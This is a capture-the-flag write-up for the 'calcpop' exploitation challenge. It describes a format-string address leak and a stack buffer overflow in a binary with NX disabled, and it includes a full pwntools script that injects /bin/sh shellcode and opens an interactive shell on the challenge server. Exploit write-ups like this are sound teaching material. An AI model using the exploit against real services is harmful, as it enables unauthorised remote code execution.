• Category: Exploitation
  • Points: 80
  • Solves: 174
  • Description:

See if you can pop this calc.

Running at calcpop-4gh07blg.9447.plumbing port 9447

calcpop.tar.gz 42928687007cc7a92fc0ac6028cf8f6

Write-up

We can connect to the challenge and send it two numbers, which it will add for us. If we send something without a space, it will tell us the address of our input, because instead of %s there is a %p in the format string:

Missing a space; your input was %p\n

Such a nice a infoleak. After some poking around I found that it is a straight forward stack based buffer overflow:

$ python -c 'import sys; sys.stdout.write("A"*256)' | nc calcpop-4gh07blg.9447.plumbing 9447
Welcome to calc.exe
Missing a space; your input was 0xff8b44d0
Missing a space; your input was 0xff8b44d0
timeout: the monitored command dumped core
/usr/local/bin/ctf_wrapper.sh: line 6: 13607 Segmentation fault      timeout 300 $1 $2

Also using checksec we can see that NX is disabled.

$ checksec --file calcpop
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   calcpop

Yeah exploitation like it’s the 90’s. So we put shellcode on the stack and overwrite the return address with the address we got from the infoleak. This is pretty straightforward using a pwntools script.

The flag was: 9447{shELl_i5_easIEr_thaN_ca1c}

#!/usr/bin/env python

from pwn import *  # NOQA

context.arch = 'i386'

velf = ELF('./calcpop')

BUFFERSIZE = 128

shellcode = shellcraft.linux.sh()
log.info("using shellcode:\n" + shellcode)
shellcode = asm(shellcode)
nopslide = "\x90" * (BUFFERSIZE - len(shellcode))
payload = nopslide + shellcode

context.log_level = 'debug'

vp = remote('calcpop-4gh07blg.9447.plumbing', 9447)
#vp = process('./calcpop')
#gdb.attach(vp)

vp.recvline()
vp.sendline("")
s = vp.recvline().strip()
leakedaddr = s.split(" ")[-1]
leakedaddr = long(leakedaddr, 16)
log.info("leaked the addr " + hex(leakedaddr))

retaddr = leakedaddr + 20
log.info("trying return to " + hex(retaddr))

payload += (p32(retaddr)) * 10
#payload += (p32(0x41414141)) * 100

vp.sendline(payload)
vp.clean_and_log()
vp.sendline("exit")
vp.clean_and_log()
vp.sendline("pwd;ls;whoami;")
vp.clean_and_log()
vp.interactive()